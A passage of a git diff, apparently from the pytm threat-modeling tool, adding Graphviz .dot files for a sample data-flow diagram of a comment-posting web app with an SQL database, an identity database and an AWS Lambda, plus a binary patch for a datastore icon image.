+                </table>
+            >;
+        ]
+
+    }
+
+    subgraph cluster_boundary_Internet_acf3059e70 {
+        graph [
+            fontsize = 10;
+            fontcolor = black;
+            style = dashed;
+            color = black;
+            label = <<i>Internet</i>>;
+        ]
+
+        actor_User_f2eb7a3ff7 [
+            shape = square;
+            color = darkgreen;
+            fontcolor = darkgreen;
+            label = "User";
+            margin = 0.02;
+        ]
+
+    }
+
+    subgraph cluster_boundary_ServerDB_88f2d9c06f {
+        graph [
+            fontsize = 10;
+            fontcolor = black;
+            style = dashed;
+            color = black;
+            label = <<i>Server/DB</i>>;
+        ]
+
+        datastore_SQLDatabase_f8af758679 [
+            shape = none;
+            fixedsize = shape;
+            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_gold.png";
+            imagescale = true;
+            color = gold;
+            fontcolor = gold;
+            xlabel = "SQL Database";
+            label = "";
+        ]
+
+        datastore_RealIdentityDatabase_2c440ebe53 [
+            shape = none;
+            fixedsize = shape;
+            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_gold.png";
+            imagescale = true;
+            color = gold;
+            fontcolor = gold;
+            xlabel = "Real Identity\nDatabase";
+            label = "";
+        ]
+
+    }
+
+    server_WebServer_d2006ce1bb [
+        shape = circle;
+        color = firebrick3;
+        fontcolor = firebrick3;
+        label = "Web Server";
+        margin = 0.02;
+    ]
+
+    datastore_SQLDatabase_f8af758679 -> datastore_RealIdentityDatabase_2c440ebe53 [
+        color = firebrick3;
+        fontcolor = firebrick3;
+        dir = forward;
+        label = "(1) Database\nverify real user\nidentity";
+    ]
+
+    actor_User_f2eb7a3ff7 -> server_WebServer_d2006ce1bb [
+        color = firebrick3;
+        fontcolor = firebrick3;
+        dir = both;
+        label = "(2) User enters\ncomments (*)
+    (5) Show comments\n(*)";
+    ]
+
+    server_WebServer_d2006ce1bb -> datastore_SQLDatabase_f8af758679 [
+        color = firebrick3;
+        fontcolor = firebrick3;
+        dir = both;
+        label = "(3) Insert query\nwith comments
+    (4) Retrieve\ncomments";
+    ]
+
+    lambda_AWSLambda_0291419f72 -> datastore_SQLDatabase_f8af758679 [
+        color = firebrick3;
+        fontcolor = firebrick3;
+        dir = forward;
+        label = "(6) Serverless\nfunction\nperiodically\ncleans DB";
+    ]
+
+}
diff --git a/no_colormap.dot b/no_colormap.dot
new file mode 100644
index 00000000..b745fc9c
--- /dev/null
+++ b/no_colormap.dot
@@ -0,0 +1,134 @@
+digraph tm {
+    graph [
+        fontname = Arial;
+        fontsize = 14;
+    ]
+    node [
+        fontname = Arial;
+        fontsize = 14;
+        rankdir = lr;
+    ]
+    edge [
+        shape = none;
+        arrowtail = onormal;
+        fontname = Arial;
+        fontsize = 12;
+    ]
+    labelloc = "t";
+    fontsize = 20;
+    nodesep = 1;
+
+    subgraph cluster_boundary_AWSVPC_579e9aae81 {
+        graph [
+            fontsize = 10;
+            fontcolor = firebrick2;
+            style = dashed;
+            color = firebrick2;
+            label = <<i>AWS VPC</i>>;
+        ]
+
+        lambda_AWSLambda_0291419f72 [
+            shape = rectangle; style=rounded;
+
+            color = black;
+            fontcolor = black;
+            label = <
+                <table border="0" cellborder="0" cellpadding="2">
+                    <tr><td><b>AWS Lambda</b></td></tr>
+                </table>
+            >;
+        ]
+
+    }
+
+    subgraph cluster_boundary_Internet_acf3059e70 {
+        graph [
+            fontsize = 10;
+            fontcolor = firebrick2;
+            style = dashed;
+            color = firebrick2;
+            label = <<i>Internet</i>>;
+        ]
+
+        actor_User_f2eb7a3ff7 [
+            shape = square;
+            color = black;
+            fontcolor = black;
+            label = "User";
+            margin = 0.02;
+        ]
+
+    }
+
+    subgraph cluster_boundary_ServerDB_88f2d9c06f {
+        graph [
+            fontsize = 10;
+            fontcolor = firebrick2;
+            style = dashed;
+            color = firebrick2;
+            label = <<i>Server/DB</i>>;
+        ]
+
+        datastore_SQLDatabase_f8af758679 [
+            shape = none;
+            fixedsize = shape;
+            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_black.png";
+            imagescale = true;
+            color = black;
+            fontcolor = black;
+            xlabel = "SQL Database";
+            label = "";
+        ]
+
+        datastore_RealIdentityDatabase_2c440ebe53 [
+            shape = none;
+            fixedsize = shape;
+            image = "/Users/izar.tarandach/Src/pytm/pytm/images/datastore_black.png";
+            imagescale = true;
+            color = black;
+            fontcolor = black;
+            xlabel = "Real Identity\nDatabase";
+            label = "";
+        ]
+
+    }
+
+    server_WebServer_d2006ce1bb [
+        shape = circle;
+        color = black;
+        fontcolor = black;
+        label = "Web Server";
+        margin = 0.02;
+    ]
+
+    datastore_SQLDatabase_f8af758679 -> datastore_RealIdentityDatabase_2c440ebe53 [
+        color = black;
+        fontcolor = black;
+        dir = forward;
+        label = "(1) Database\nverify real user\nidentity";
+    ]
+
+    actor_User_f2eb7a3ff7 -> server_WebServer_d2006ce1bb [
+        color = black;
+        fontcolor = black;
+        dir = both;
+        label = "(2) User enters\ncomments (*)
+    (5) Show comments\n(*)";
+    ]
+
+    server_WebServer_d2006ce1bb -> datastore_SQLDatabase_f8af758679 [
+        color = black;
+        fontcolor = black;
+        dir = both;
+        label = "(3) Insert query\nwith comments
+    (4) Retrieve\ncomments";
+    ]
+
+    lambda_AWSLambda_0291419f72 -> datastore_SQLDatabase_f8af758679 [
+        color = black;
+        fontcolor = black;
+        dir = forward;
+        label = "(6) Serverless\nfunction\nperiodically\ncleans DB";
+    ]
+
+}
diff --git a/pytm/images/datastore_black.png b/pytm/images/datastore_black.png
new file mode 100644
index 0000000000000000000000000000000000000000..3258f6693da15cd46f9bf1461eea9467af961c94
GIT binary patch
literal 13242
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
